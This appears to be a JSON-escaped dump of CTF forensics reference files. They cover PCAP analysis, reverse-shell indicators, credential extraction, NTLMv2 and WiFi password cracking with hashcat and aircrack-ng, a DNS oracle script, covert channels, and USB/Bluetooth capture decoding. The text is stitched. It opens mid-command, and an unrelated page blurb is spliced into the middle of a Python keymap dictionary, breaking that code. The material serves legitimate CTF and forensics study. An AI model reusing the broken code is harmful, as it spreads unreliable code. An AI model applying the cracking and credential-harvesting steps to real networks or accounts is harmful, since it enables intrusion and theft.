-q -z \"follow,tcp,ascii,\u003cstream_number>\"\n```\n\n**Reverse shell indicators:**\n- `bash: cannot set terminal process group`\n- `bash: no job control in this shell`\n- Shell prompts like `www-data@hostname:/path ctf-forensics — Skillopedia \n\n---\n\n## Credential Extraction\n\n**High-value files:**\n| Application | File | Format |\n|-------------|------|--------|\n| WordPress | `wp-config.php` | `define('DB_PASSWORD', '...')` |\n| Laravel | `.env` | `DB_PASSWORD=` |\n| MySQL | `/etc/mysql/debian.cnf` | `password = ` |\n\n```bash\n# Search shell stream for credentials\ntshark -r capture.pcap -q -z \"follow,tcp,ascii,\u003cstream>\" | grep -i \"password\"\n```\n\n---\n\n## SMB3 Encrypted Traffic\n\n**Step 1: Extract NTLMv2 hash**\n```bash\ntshark -r capture.pcap -Y \"ntlmssp.messagetype == 0x00000003\" -T fields \\\n -e ntlmssp.ntlmv2_response.ntproofstr \\\n -e ntlmssp.auth.username\n```\n\n**Step 2: Crack with hashcat**\n```bash\nhashcat -m 5600 ntlmv2_hash.txt wordlist.txt\n```\n\n**Step 3: Derive SMB 3.1.1 session keys (Python)**\n```python\nfrom Cryptodome.Cipher import AES, ARC4\nfrom Cryptodome.Hash import MD4\nimport hmac, hashlib\n\ndef SP800_108_Counter_KDF(Ki, Label, Context, L):\n n = (L // 256) + 1\n result = b''\n for i in range(1, n + 1):\n data = i.to_bytes(4, 'big') + Label + b'\\x00' + Context + L.to_bytes(4, 'big')\n result += hmac.new(Ki, data, hashlib.sha256).digest()\n return result[:L // 8]\n\n# Compute session key\nnt_hash = MD4.new(password.encode('utf-16le')).digest()\nresponse_key = hmac.new(nt_hash, (user.upper() + domain.upper()).encode('utf-16le'), hashlib.md5).digest()\nkey_exchange_key = hmac.new(response_key, ntproofstr, hashlib.md5).digest()\nsession_key = ARC4.new(key_exchange_key).encrypt(encrypted_session_key)\n\n# Derive encryption keys\nc2s_key = SP800_108_Counter_KDF(session_key, b\"SMBC2SCipherKey\\x00\", preauth_hash, 128)\ns2c_key = SP800_108_Counter_KDF(session_key, b\"SMBS2CCipherKey\\x00\", preauth_hash, 128)\n```\n\n**Step 4: Decrypt (AES-128-GCM)**\n```python\ndef decrypt_smb311(transform_data, key):\n signature = transform_data[4:20]\n nonce = transform_data[20:32]\n aad = transform_data[20:52]\n encrypted = transform_data[52:]\n\n cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)\n cipher.update(aad)\n return cipher.decrypt_and_verify(encrypted, signature)\n```\n\n---\n\n## 5G/NR Protocol Analysis\n\n**Wireshark setup:**\n- Enable: NAS-5GS, RLC-NR, PDCP-NR, MAC-NR\n\n**SMS in 5G (3GPP TS 23.040):**\n\n| IEI | Format |\n|-----|--------|\n| 0x0c | iMelody (ringtone) |\n| 0x0e | Large Animation (16×16) |\n| 0x18 | WVG (vector graphics) |\n\n**iMelody to Morse:**\n- Notes like `c4c4c4r2` encode dots/dashes\n\n---\n\n## Email Headers\n\n- Check routing information\n- Look for encoded attachments (base64)\n- MIME boundaries may hide data\n\n---\n\n## USB HID Stenography/Chord PCAP (UTCTF 2024)\n\n**Pattern (Gibberish):** USB keyboard PCAP with simultaneous multi-key presses = stenography chording.\n\n**Detection:** Multiple simultaneous USB HID keys (6+ at once) in interrupt transfers. Not regular typing.\n\n**Decoding workflow:**\n1. Extract HID reports from PCAP\n2. Detect simultaneous key states (multiple keycodes in same report)\n3. Map chords to Plover stenography dictionary\n4. Install Plover, use its dictionary for translation\n\n```bash\n# Extract USB HID data\ntshark -r capture.pcap -Y \"usb.transfer_type == 1\" -T fields -e usb.capdata\n```\n\n---\n\n## BCD Encoding in UDP (VuwCTF 2025)\n\n**Pattern (1.5x-engineer):** \"1.5x\" hints at the encoding ratio.\n\n**BCD (Binary-Coded Decimal):** Each nibble (4 bits) encodes one decimal digit (0-9). Two digits per byte vs one ASCII digit per byte → BCD is 2x denser than ASCII decimal. The \"1.5x\" name refers to the challenge-specific framing: 3 BCD bytes encode 6 digits which represent 2 ASCII bytes (3:2 ratio).\n\n**Decoding:**\n```python\ndef bcd_decode(data):\n result = ''\n for byte in data:\n high = (byte >> 4) & 0x0F\n low = byte & 0x0F\n result += f'{high}{low}'\n return result\n\n# UDP sessions differentiated by first byte\n# Session 1 = BCD-encoded ASCII metadata with flag\n# Session 2 = encrypted DOCX\n```\n\n**Lesson:** Challenge name often hints at encoding ratio or technique.\n\n---\n\n## HTTP File Upload Exfiltration in PCAP (MetaCTF 2026)\n\n**Pattern (Dead Drop):** Small PCAP with TCP streams containing HTTP traffic. Exfiltrated data uploaded as a file via multipart form POST.\n\n**Quick triage:**\n```bash\n# Count packets and protocols\ntshark -r capture.pcap -q -z io,phs\n\n# List HTTP requests\ntshark -r capture.pcap -Y \"http.request\" -T fields -e http.request.method -e http.request.uri -e http.host\n\n# Export all HTTP objects (files transferred)\ntshark -r capture.pcap --export-objects http,/tmp/http_objects\nls -la /tmp/http_objects/\n\n# Follow specific TCP streams\ntshark -r capture.pcap -q -z \"follow,tcp,ascii,0\"\ntshark -r capture.pcap -q -z \"follow,tcp,ascii,1\"\n```\n\n**Extraction workflow:**\n1. Export HTTP objects — uploaded files are extracted automatically\n2. Check for multipart form-data POST requests (file uploads)\n3. Look for unusual User-Agent strings (e.g., `DeadDropBot/1.0`) indicating automated exfiltration\n4. Extracted files may be images (PNG/JPEG) with flag text rendered visually — open and inspect\n\n**Key indicators of exfiltration:**\n- POST to `/upload` endpoints\n- Non-standard User-Agent strings\n- Small number of packets but containing file transfers\n- \"Dead drop\" pattern: attacker uploads file to web server for later retrieval\n\n**Lesson:** Always start with `--export-objects` to extract transferred files before deep packet analysis. The flag is often in the exfiltrated file itself.\n\n---\n\n## TLS Master Key Extraction from Coredump (PlaidCTF 2014)\n\n**Pattern:** Given a PCAP with HTTPS traffic and a coredump from the server/client process, extract the TLS master key from OpenSSL's in-memory session structure to decrypt the traffic.\n\n**Extraction workflow:**\n\n1. Find the TLS Session ID from the handshake in Wireshark (visible in plaintext in the ClientHello/ServerHello)\n2. Search the coredump for the session ID bytes:\n```bash\n# Search for session ID in coredump\ngrep -c '\\x19\\xAB\\x5E\\xDC\\x02\\xF0\\x97\\xD5' corefile\nhexdump -C corefile | grep --before=5 '19 ab 5e dc'\n```\n\n3. In OpenSSL's `ssl_session_st`, `master_key[48]` is stored immediately before `session_id[32]`. Read the 48 bytes before the session ID match.\n\n4. Create a Wireshark pre-master-secret log file:\n```text\nRSA Session-ID:\u003chex_session_id> Master-Key:\u003chex_master_key>\n```\n\n5. Load in Wireshark: Edit → Preferences → Protocols → TLS → (Pre-)Master-Secret log filename\n\n**Key insight:** OpenSSL stores `master_key[48]` directly before `session_id[32]` in `ssl_session_st`. Search the coredump for the session ID (from the TLS handshake), then read the 48 bytes before it. This works with coredumps, memory dumps, and Volatility memory extractions.\n\n---\n\n## Split Archive Reassembly from HTTP Transfers (ASIS CTF Finals 2013)\n\n**Pattern:** PCAP contains multiple HTTP file transfers with MD5-hash filenames, all the same size except one smaller file. Files are fragments of a split archive (e.g., 7z) that must be reassembled in order. A separate TCP stream contains a chat conversation with the archive password.\n\n**Identification:**\n- Multiple HTTP-transferred files with uniform size (e.g., 61440 bytes) and one smaller trailing fragment\n- First file has an archive magic number (e.g., `7z` header `37 7A BC AF 27 1C`)\n- Cover traffic and multiple ports used to obscure the transfers\n- Apache directory listing in PCAP provides file modification timestamps\n\n**Reassembly workflow:**\n\n1. Extract all HTTP objects and identify fragments:\n```bash\n# Export HTTP objects\ntshark -r capture.pcap --export-objects http,/tmp/http_objects\nls -la /tmp/http_objects/\n\n# Check first file for archive magic number\nxxd /tmp/http_objects/d33cf9e6230f3b8e5a0c91a0514ab476 | head -1\n# 00000000: 377a bcaf 271c ... → 7z archive header\n```\n\n2. Determine fragment order from Apache directory listing timestamps in PCAP:\n```bash\n# Extract the directory listing page\ntshark -r capture.pcap -Y \"http.response and http.content_type contains html\" \\\n -T fields -e http.file_data | head -1\n# Parse modification timestamps from the HTML table, sort chronologically\n```\n\n3. Concatenate fragments in timestamp order:\n```bash\n# Order files by modification timestamp (earliest first, smallest file last)\ncat d33cf9e6230f3b8e5a0c91a0514ab476 \\\n 57f18f111f47eb9f7b5cdf5bd45144b0 \\\n 1e13be50f05092e2a4e79b321c8450d4 \\\n ... \\\n c68cc0718b8b85e62c8a671f7c81e80a > archive.7z\n```\n\n4. Extract password from TCP conversation stream:\n```bash\n# Follow TCP streams to find chat with key exchange\ntshark -r capture.pcap -q -z \"follow,tcp,ascii,0\"\n# Look for \"secret key\" / \"part N\" messages, concatenate all parts\n```\n\n5. Decompress with recovered password:\n```bash\n7z x archive.7z -p\"M)m5s6S^[>@#Q3+10PD.KE#cyPsvqH\"\n```\n\n**Key insight:** When PCAP contains many same-sized file transfers, suspect a split archive. The fragment order is not the download order — look for an Apache/nginx directory listing page in the PCAP whose modification timestamps provide the correct reassembly sequence. The smallest file is the trailing fragment.\n\n---\n\n## WPA/WEP WiFi Decryption from PCAP (DefCamp CTF 2016)\n\nCaptured WiFi traffic in pcapng format can be decrypted if the WEP/WPA key is recovered through brute force or is known.\n\n```bash\n# Step 1: Identify encrypted WiFi networks in capture\naircrack-ng capture.pcapng\n\n# Step 2: Crack WEP key (PTW attack or brute force)\naircrack-ng -a 1 capture.pcapng # PTW attack (fast)\naircrack-ng -a 1 -w wordlist.txt capture.pcapng # dictionary attack\n\n# Step 3: Crack WPA/WPA2 key\naircrack-ng -a 2 -w rockyou.txt capture.pcapng\n\n# Step 4: Decrypt traffic with recovered key\nairdecap-ng -w \"recovered_key\" capture.pcapng # WEP\nairdecap-ng -p \"passphrase\" -e \"SSID\" capture.pcapng # WPA\n\n# Step 5: Analyze decrypted traffic\n# Output: capture-dec.pcapng (decrypted packets)\nwireshark capture-dec.pcapng\n\n# Alternative: decrypt directly in Wireshark\n# Edit > Preferences > Protocols > IEEE 802.11\n# Add decryption key (WEP/WPA-PWD/WPA-PSK)\n\n# Look for: HTTP traffic, IPP (printing), FTP, unencrypted protocols\n# Multiple password changes may require multiple decryption passes\n```\n\n**Key insight:** WiFi CTF challenges often have multiple encryption key changes throughout the capture. Decrypt, look for hints to the next password in the decrypted traffic, then decrypt the next segment. Check Internet Printing Protocol (IPP) streams for job-name fields containing flags.\n\n---\n\n## Corrupted PCAP Repair with pcapfix (CSAW CTF 2016)\n\nCorrupted packet capture files can be repaired to make them openable in Wireshark.\n\n```bash\n# Install pcapfix\n# apt install pcapfix (or brew install pcapfix)\n\n# Repair corrupted pcap/pcapng file\npcapfix -d corrupted.pcap # basic repair with verbose output\npcapfix -d corrupted.pcapng # also handles pcapng format\n\n# Output: fixed_corrupted.pcap (repaired file)\n\n# Common corruption types pcapfix handles:\n# - Broken file header (magic bytes)\n# - Truncated packets\n# - Invalid packet lengths\n# - Missing packet headers\n# - Wrong byte order\n# - Damaged section headers (pcapng)\n\n# If pcapfix fails, try manual repair:\npython3 -c \"\nimport struct\nwith open('corrupted.pcap', 'rb') as f:\n data = bytearray(f.read())\n\n# Fix pcap magic bytes (0xa1b2c3d4 for microsecond, 0xa1b23c4d for nanosecond)\ndata[0:4] = struct.pack('\u003cI', 0xa1b2c3d4)\n\n# Fix version (2.4)\ndata[4:6] = struct.pack('\u003cH', 2)\ndata[6:8] = struct.pack('\u003cH', 4)\n\nwith open('fixed.pcap', 'wb') as f:\n f.write(data)\n\"\n\n# Then open in Wireshark\nwireshark fixed_corrupted.pcap\n```\n\n**Key insight:** Damaged PCAPs are common in forensics CTF challenges. Always try `pcapfix` first -- it handles most corruption automatically. For manual repair, the pcap header is 24 bytes: magic(4) + version(4) + timezone(4) + sigfigs(4) + snaplen(4) + linktype(4).\n\n---\n\n## SAP Dialog Protocol Decryption from PCAP (GreHack CTF 2016)\n\nSAP Dialog frames in network captures can be decrypted using Cain and Abel on Windows.\n\n```bash\n# SAP Dialog protocol uses weak obfuscation (not true encryption)\n# Step 1: Open PCAP in Wireshark to identify SAP traffic\n# Filter: sap or tcp.port == 3200\n\n# Step 2: Use Cain and Abel (Windows tool) for decryption\n# - Import PCAP into Cain's Sniffer tab\n# - Select SAP Dialog entries\n# - Right-click > View to decrypt frames\n# - Search with Ctrl+F for keywords (flag, key, password)\n\n# Alternative: Use SAP Dissector plugin for Wireshark\n# - Install: apt install wireshark-plugin-sap (if available)\n# - Or: https://github.com/SecureAuthCorp/SAP-Dissection-plug-in-for-Wireshark\n\n# Manual approach using pysap:\n# pip install pysap\nfrom pysap import SAPDiag\n# Parse SAP Dialog packets from PCAP\n```\n\n**Key insight:** SAP Dialog protocol's \"encryption\" is simple obfuscation easily reversed. Cain and Abel (Windows) has built-in SAP Dialog decryption. For Linux, use pysap or SAP Wireshark dissector plugins.\n\n---\n\n---\n\n## DNS Exfiltration Oracle via Binary Response Probing (ASIS CTF Finals 2017)\n\nDNS queries to subdomains with binary string prefixes act as an oracle: the server returns NOERROR when the prefix matches the flag bits, NXDOMAIN otherwise. Build the binary string incrementally — add one bit at a time and test which value yields NOERROR — to reconstruct the flag bit by bit.\n\n```python\nimport dns.resolver\n\nflag_bits = \"\"\nflag_len = 40 # adjust based on expected flag length in chars\n\nfor i in range(flag_len * 8):\n for bit in ['0', '1']:\n try:\n dns.resolver.resolve(f\"{flag_bits}{bit}.target.com\", 'A')\n flag_bits += bit\n break\n except dns.resolver.NXDOMAIN:\n continue\n\n# Convert bit string to ASCII\nflag = ''.join(chr(int(flag_bits[i:i+8], 2)) for i in range(0, len(flag_bits), 8))\nprint(flag)\n```\n\n**Key insight:** DNS NOERROR vs NXDOMAIN acts as a binary oracle leaking one bit per query — applicable to any DNS-based covert channel. Each query tests whether a candidate prefix is correct, allowing O(n) reconstruction where n is the number of bits in the flag.\n\n---\n\n## ICMP Echo Payload Length as Covert Channel (TokyoWesterns CTF 4th 2018)\n\n**Pattern:** A PCAP contains a sequence of ICMP echo-request packets. The payload bytes look random, but the *length* of each payload is a printable ASCII character — the sender uses `ping -s \u003clen>` per character to smuggle the flag past any content-level IDS. Content inspection reveals nothing; only the per-packet length field carries the data.\n\n**Extraction:**\n```python\nfrom scapy.all import rdpcap, ICMP\n\npkts = rdpcap('capture.pcap')\nflag = ''.join(\n chr(len(p[ICMP].payload))\n for p in pkts\n if ICMP in p and p[ICMP].type == 8 # echo-request\n)\nprint(flag)\n```\n\n**Key insight:** Any metadata field a sender can influence (packet length, TTL, IPID, TCP window size, DNS QNAME length, HTTP request ordering) is a potential covert channel. Before analyzing payload contents, plot per-packet metadata distributions — a histogram that hits only printable-ASCII-range values is a giveaway. Combine with `tshark -T fields -e icmp.data_len` for rapid extraction from large PCAPs.\n\n**References:** TokyoWesterns CTF 4th 2018 — writeup 10866\n\nSee also: [network-advanced.md](network-advanced.md) for advanced network forensics techniques (packet interval timing encoding, USB HID mouse/pen drawing recovery, NTLMv2 hash cracking, TCP flag covert channels, DNS steganography, multi-layer PCAP with XOR, Brotli decompression bomb seam analysis, SMB RID recycling, Timeroasting MS-SNTP).\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":22311,"content_sha256":"3a3f98f07821a70e7ab516ca2b76f2f35f2ac37043ec31a2e0eda64b22481a9f"},{"filename":"peripheral-capture.md","content":"# CTF Forensics - Peripheral Capture Analysis\n\nUSB, HID, and Bluetooth peripheral traffic reconstruction from packet captures. For general network PCAP forensics (DNS/TCP/ICMP/SMB/RADIUS/RC4), see [network-advanced.md](network-advanced.md). For basic network forensics, see [network.md](network.md).\n\n## Table of Contents\n- [USB HID Mouse/Pen Drawing Recovery (EHAX 2026)](#usb-hid-mousepen-drawing-recovery-ehax-2026)\n- [USB HID Keyboard Capture Decoding (EKOPARTY CTF 2016)](#usb-hid-keyboard-capture-decoding-ekoparty-ctf-2016)\n- [USB Keyboard LED Morse Code Exfiltration (BITSCTF 2017)](#usb-keyboard-led-morse-code-exfiltration-bitsctf-2017)\n- [USB HID Keyboard Arrow Key Navigation Tracking (HackIT 2017)](#usb-hid-keyboard-arrow-key-navigation-tracking-hackit-2017)\n- [Bluetooth RFCOMM Packet Reassembly (HITCON 2018)](#bluetooth-rfcomm-packet-reassembly-hitcon-2018)\n- [GBA USB URB_INTERRUPT Framebuffer Extraction (hxp 2018)](#gba-usb-urb_interrupt-framebuffer-extraction-hxp-2018)\n\n---\n\n## USB HID Mouse/Pen Drawing Recovery (EHAX 2026)\n\n**Pattern (Painter):** PCAP contains USB HID interrupt transfers from a mouse/pen device. Drawing data encoded as relative movements with multiple draw modes.\n\n**Packet format (7-byte HID reports):**\n| Byte | Field | Notes |\n|------|-------|-------|\n| 0 | Button state | 0x01 = pressed (may be constant) |\n| 1 | Mode/pad | 0=hover, 1=draw mode 1, 2=draw mode 2 |\n| 2-3 | dx (int16 LE) | Relative X movement |\n| 4-5 | dy (int16 LE) | Relative Y movement |\n| 6 | Wheel | Usually 0 |\n\n**Extraction and rendering:**\n```python\nimport struct\nfrom PIL import Image, ImageDraw\n\n# Extract HID data\n# tshark -r capture.pcap -Y \"usb.transfer_type==1\" -T fields -e usb.capdata\n\npackets = []\nwith open('hid_data.txt') as f:\n for line in f:\n raw = bytes.fromhex(line.strip().replace(':', ''))\n if len(raw) >= 7:\n btn = raw[0]\n mode = raw[1]\n dx = struct.unpack('\u003ch', raw[2:4])[0]\n dy = struct.unpack('\u003ch', raw[4:6])[0]\n packets.append((btn, mode, dx, dy))\n\n# Accumulate positions per mode\nSCALE = 5\npositions = {0: [], 1: [], 2: []}\nx, y = 0, 0\nfor btn, mode, dx, dy in packets:\n x += dx\n y += dy\n positions[mode].append((x, y))\n\n# Render each mode separately (different colors = different text layers)\nfor mode in [1, 2]:\n pts = positions[mode]\n if not pts:\n continue\n min_x = min(p[0] for p in pts) - 100\n min_y = min(p[1] for p in pts) - 100\n max_x = max(p[0] for p in pts) + 100\n max_y = max(p[1] for p in pts) + 100\n w = (max_x - min_x) * SCALE\n h = (max_y - min_y) * SCALE\n img = Image.new('RGB', (w, h), 'white')\n draw = ImageDraw.Draw(img)\n for i in range(1, len(pts)):\n x0 = (pts[i-1][0] - min_x) * SCALE\n y0 = (pts[i-1][1] - min_y) * SCALE\n x1 = (pts[i][0] - min_x) * SCALE\n y1 = (pts[i][1] - min_y) * SCALE\n # Skip long jumps (pen lifts)\n if abs(pts[i][0]-pts[i-1][0]) \u003c 50 and abs(pts[i][1]-pts[i-1][1]) \u003c 50:\n draw.line([(x0,y0),(x1,y1)], fill='black', width=3)\n img.save(f'mode_{mode}.png')\n```\n\n**Key techniques:**\n- **Separate modes:** Different button/mode values draw different text layers — render each independently\n- **Skip pen lifts:** Large dx/dy jumps indicate pen was lifted, not drawn — filter by distance threshold\n- **High resolution:** Scale 5-8x with margins for readable handwriting\n- **Time gradient:** Color points by temporal order (rainbow gradient) to trace stroke direction\n- **Character segmentation:** Group consecutive same-mode points by large X gaps to isolate characters\n\n**Alternative: AWK extraction + SVG rendering (faster pipeline):**\n```bash\n# Extract capdata and convert to signed deltas in one pass\ntshark -r pref.pcap -Y \"usb.transfer_type==0x01 && usb.endpoint_address==0x81 && usb.capdata\" \\\n -T fields -e usb.capdata > capdata.txt\n\nawk '\nfunction hexval(c){ return index(\"0123456789abcdef\",tolower(c))-1 }\nfunction hex2dec(h, n,i){ n=0; for(i=1;i\u003c=length(h);i++) n=n*16+hexval(substr(h,i,1)); return n }\nfunction s16(u){ return (u>=32768)?u-65536:u }\n{ d=$1; if(length(d)!=14) next\n btn=hex2dec(substr(d,3,2))\n x=s16(hex2dec(substr(d,7,2) substr(d,5,2)))\n y=s16(hex2dec(substr(d,11,2) substr(d,9,2)))\n print btn, x, y }' capdata.txt > deltas.txt\n```\nThen render with SVG (Python) — filter on pen-down state (button=2), accumulate deltas, flip Y axis, draw strokes between consecutive pen-down points.\n\n**Difference from keyboard HID:** Mouse HID uses relative movements (accumulated), keyboard uses keycodes (direct). Mouse drawing requires rendering; keyboard requires keymap lookup.\n\n---\n\n## USB HID Keyboard Capture Decoding (EKOPARTY CTF 2016)\n\nUSB keyboard captures contain HID scan codes that map to keystrokes. Decode the capture to reconstruct typed text.\n\n```python\n# USB HID keyboard report format:\n# Byte 0: Modifier keys (Shift, Ctrl, Alt)\n# Byte 1: Reserved (0x00)\n# Bytes 2-7: Up to 6 simultaneous key codes\n\n# HID scan code to character mapping (partial)\nHID_MAP = {\n 0x04: 'a', 0x05: 'b', 0x06: 'c', 0x07: 'd', 0x08: 'e',\n 0x09: 'f', 0x0a: 'g', 0x0b: 'h', 0x0c: 'i', 0x0d: 'j',\n 0x0e: 'k', 0x0f: 'l', 0x10: 'm', 0x11: 'n', 0x12: 'o',\n 0x13: 'p', 0x14: 'q', 0x15: 'r', 0x16: 's', 0x17: 't',\n 0x18: 'u', 0x19: 'v', 0x1a: 'w', 0x1b: 'x', 0x1c: 'y',\n 0x1d: 'z', 0x1e: '1', 0x1f: '2', 0x20: '3', 0x21: '4',\n 0x22: '5', 0x23: '6', 0x24: '7', 0x25: '8', 0x26: '9',\n 0x27: '0', 0x28: '\\n', 0x2c: ' ', 0x2d: '-', 0x2e: '=',\n 0x2f: '[', 0x30: ']', 0x33: ';', 0x34: \"'\", 0x36: ',',\n 0x37: '.', 0x38: '/',\n}\n\nSHIFT_MAP = {\n 'a': 'A', 'b': 'B', '1': '!', '2': '@', '3': '#', '4': '

CTF Forensics & Blockchain Quick reference for forensics CTF challenges. Each technique has a one-liner here; see supporting files for full details. Prerequisites Python packages (all platforms): Linux (apt): macOS (Homebrew): Ruby gems (all platforms): Additional Resources - 3d-printing.md - 3D printing forensics (PrusaSlicer binary G-code, QOIF, heatshrink) - windows.md - Windows forensics (registry, SAM, event logs, recycle bin, NTFS alternate data streams, USN journal, PowerShell history, Defender MPLog, WMI persistence, Amcache) - network.md - Network forensics basics (tcpdump, TLS/SSL k…

,\n '5': '%', '6': '^', '7': '&', '8': '*', '9': '(', '0': ')',\n '-': '_', '=': '+', '[': '{', ']': '}', ';': ':', \"'\": '\"',\n ',': '\u003c', '.': '>', '/': '?',\n}\n\ndef decode_hid_keyboard(capture_data):\n \"\"\"Decode USB HID keyboard capture to text\"\"\"\n text = \"\"\n for report in capture_data:\n modifier = report[0]\n keycode = report[2] # first key in report\n\n if keycode == 0:\n continue\n\n char = HID_MAP.get(keycode, '')\n if modifier & 0x22: # Left or Right Shift\n char = SHIFT_MAP.get(char, char.upper())\n\n text += char\n return text\n\n# Extract from Wireshark: tshark -r capture.pcapng -T fields -e usb.capdata\n# Or from text dump: parse +XX/-XX format (+ = keydown, - = keyup)\n```\n\n**Key insight:** USB HID keyboards send 8-byte reports where byte 0 is modifiers (Shift/Ctrl/Alt) and bytes 2-7 are active key scan codes. In Wireshark, filter with `usb.transfer_type == 1` and extract `usb.capdata`. Ignore reports where byte 2 is 0x00 (key release).\n\n---\n\n## USB Keyboard LED Morse Code Exfiltration (BITSCTF 2017)\n\n**Pattern (Ghost in the Machine):** A pcap of USB keyboard traffic contains host-to-device packets with alternating `0x01`/`0x03` values controlling the Caps Lock LED state. Timing differences between LED state changes encode Morse code: durations >300ms represent dashes, shorter durations represent dots. Decode the Morse sequence to recover the flag.\n\n```python\nfrom scapy.all import rdpcap\nimport struct\n\npackets = rdpcap('usb_capture.pcap')\nsignals = []\n\nfor p in packets:\n raw = bytes(p)\n # USB HID SET_REPORT to keyboard (host -> device)\n if len(raw) >= 35 and raw[30] in (0x01, 0x03):\n timestamp = p.time\n led_state = raw[30] # 0x01 = LED off, 0x03 = LED on\n signals.append((timestamp, led_state))\n\n# Convert timing to Morse\nmorse = ''\nfor i in range(0, len(signals) - 1, 2):\n duration = signals[i+1][0] - signals[i][0]\n if duration > 0.3:\n morse += '-'\n else:\n morse += '.'\n # Gap between signals indicates letter/word boundary\n```\n\n**Key insight:** Data exfiltration via keyboard LED state changes captured in USB pcap. The LED control packets use HID SET_REPORT class requests. Timing analysis of on/off transitions reveals Morse code patterns. Tools: Wireshark USB dissector, filter on `usb.transfer_type == 0x02` (interrupt) and direction host→device.\n\n---\n\n## USB HID Keyboard Arrow Key Navigation Tracking (HackIT 2017)\n\nUSB HID keyboard traffic from an Apple Keyboard requires tracking arrow key navigation. Decode HID keycodes using the USB HID usage table. Modifier byte `0x02` = Shift (uppercase). Track cursor position via up/down arrow presses to determine which line contains the flag.\n\n```bash\ntshark -r capture.pcap -T fields -e usb.capdata | \\\n python3 decode_hid.py # Must track arrow keys for line position\n```\n\nArrow key HID codes to track:\n- `0x4F` = Right Arrow\n- `0x50` = Left Arrow\n- `0x51` = Down Arrow (next line)\n- `0x52` = Up Arrow (previous line)\n\n```python\n# Skeleton: track line position during HID decode\nline = 0\nlines = {0: \"\"}\nfor report in hid_reports:\n modifier = report[0]\n keycode = report[2]\n if keycode == 0x51: # Down arrow\n line += 1; lines.setdefault(line, \"\")\n elif keycode == 0x52: # Up arrow\n line -= 1; lines.setdefault(line, \"\")\n elif keycode in HID_MAP:\n char = HID_MAP[keycode]\n if modifier & 0x22:\n char = char.upper()\n lines[line] += char\n# Flag is on a specific line determined by arrow navigation\n```\n\n**Key insight:** USB keyboard captures must account for cursor movement keys (arrows, backspace). Track cursor line position to reconstruct text typed on each line separately — the flag may be on a non-zero line that arrow keys navigated to.\n\n---\n\n## Bluetooth RFCOMM Packet Reassembly (HITCON 2018)\n\n**Pattern:** A Lego EV3-over-Bluetooth capture contains RFCOMM frames whose payloads are EV3 direct commands. Packets are 32–34 bytes long, have an 8-byte RFCOMM header, and carry an `order` byte plus a `group_number` byte that together reorder into a coherent binary. Reassemble by (1) filtering `btrfcomm` in Wireshark, (2) sorting packets first by `group_number` then by `order`, and (3) concatenating the data fields after the header.\n\n```python\n# Python with pyshark\nimport pyshark\ncap = pyshark.FileCapture(\"capture.pcap\", display_filter=\"btrfcomm\")\nframes = []\nfor pkt in cap:\n raw = bytes.fromhex(pkt.btrfcomm.payload.replace(\":\", \"\"))\n # RFCOMM header size varies: 4 (UIH) or 5 (with length extension)\n hdr_len = 4 if raw[2] & 0x01 == 0 else 5\n body = raw[hdr_len:]\n order, group = body[0], body[1]\n frames.append((group, order, body[2:]))\nframes.sort()\nbinary = b\"\".join(chunk for _, _, chunk in frames)\nopen(\"payload.bin\", \"wb\").write(binary)\n```\n\n**Key insight:** RFCOMM is a TCP-like serial port emulation layered on L2CAP; it fragments application payloads when they exceed the MTU. CTF challenges love to split flags across many frames because most pcap walkthroughs stop at TCP/UDP and skip the Bluetooth link layer. Use Wireshark filters `btrfcomm.channel`, `btl2cap`, or `btsnoop_hci` to isolate the relevant flows, then sort by any available order/group bytes before concatenating. Similar logic applies to USB bulk transfers (`usb.transfer_type == 0x03`) and MIDI-over-BLE traffic.\n\n**References:** HITCON CTF 2018 — EV3 Basic, writeup 11902\n\n---\n\n## GBA USB URB_INTERRUPT Framebuffer Extraction (hxp 2018)\n\n**Pattern:** pcap contains USB `URB_INTERRUPT` packets from a Game Boy Advance debug adapter. The GBA framebuffer is `240 × 160` at RGB565 (2 bytes/pixel = 76 800 bytes). Block type 6 carries memory dumps; split each packet's payload into the framebuffer grid and convert RGB565 to 8-bit RGB tuples.\n\n```python\nfrom PIL import Image\nfrom scapy.all import rdpcap\npkts = [p for p in rdpcap('cap.pcap') if p.haslayer('Raw')]\nimg = Image.new('RGB', (240, 160))\nfor p in pkts:\n if p.Raw.load[3] == 0x06: # type 6 = memory dump\n data = p.Raw.load[4:]\n for i in range(76800 // 2):\n rgb = int.from_bytes(data[2*i:2*i+2], 'little')\n r = (rgb & 0xF800) >> 8\n g = (rgb & 0x07E0) >> 3\n b = (rgb & 0x001F) \u003c\u003c 3\n img.putpixel((i % 240, i // 240), (r, g, b))\nimg.save('screen.png')\n```\n\n**Key insight:** Handheld console debug protocols usually wrap memory dumps in typed blocks. When you see GBA/NDS/PSP USB traffic, grep for block type 6 (framebuffer) or type 7 (audio) before parsing the rest.\n\n**References:** hxp CTF 2018 — cheatquest of hxpschr 2, writeup 12591\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":12369,"content_sha256":"377fcfa7f219586494616670d18f681354afc0fa21410b6dbe1378bd0fce1c6f"},{"filename":"signals-and-hardware.md","content":"# CTF Forensics - Signals and Hardware\n\n## Table of Contents\n- [VGA Signal Decoding](#vga-signal-decoding)\n- [HDMI TMDS Decoding](#hdmi-tmds-decoding)\n- [DisplayPort 8b/10b + LFSR Decoding](#displayport-8b10b--lfsr-decoding)\n- [Voyager Golden Record Audio (0xFun 2026)](#voyager-golden-record-audio-0xfun-2026)\n- [Side-Channel Power Analysis (EHAX 2026)](#side-channel-power-analysis-ehax-2026)\n- [Saleae Logic 2 UART Decode (EHAX 2026)](#saleae-logic-2-uart-decode-ehax-2026)\n- [Flipper Zero .sub File (0xFun 2026)](#flipper-zero-sub-file-0xfun-2026)\n- [Keyboard Acoustic Side-Channel (ApoorvCTF 2026)](#keyboard-acoustic-side-channel-apoorvctf-2026)\n- [CD Audio Disc Image Steganography (BSidesSF 2026)](#cd-audio-disc-image-steganography-bsidessf-2026)\n- [Caps-Lock LED Morse Code Extraction from Video (STEM CTF 2018)](#caps-lock-led-morse-code-extraction-from-video-stem-ctf-2018)\n- [Linux input_event Keylogger Dump Parsing (Pwn2Win 2016)](#linux-input_event-keylogger-dump-parsing-pwn2win-2016)\n- [I2C Bus Protocol Decoding (EKOPARTY CTF 2016)](#i2c-bus-protocol-decoding-ekoparty-ctf-2016)\n- [IBM-29 Punched Card OCR (EKOPARTY CTF 2016)](#ibm-29-punched-card-ocr-ekoparty-ctf-2016)\n- [Serial UART Data Decoding from WAV Audio (EasyCTF 2017)](#serial-uart-data-decoding-from-wav-audio-easyctf-2017)\n- [USB MIDI Launchpad Traffic Reconstruction 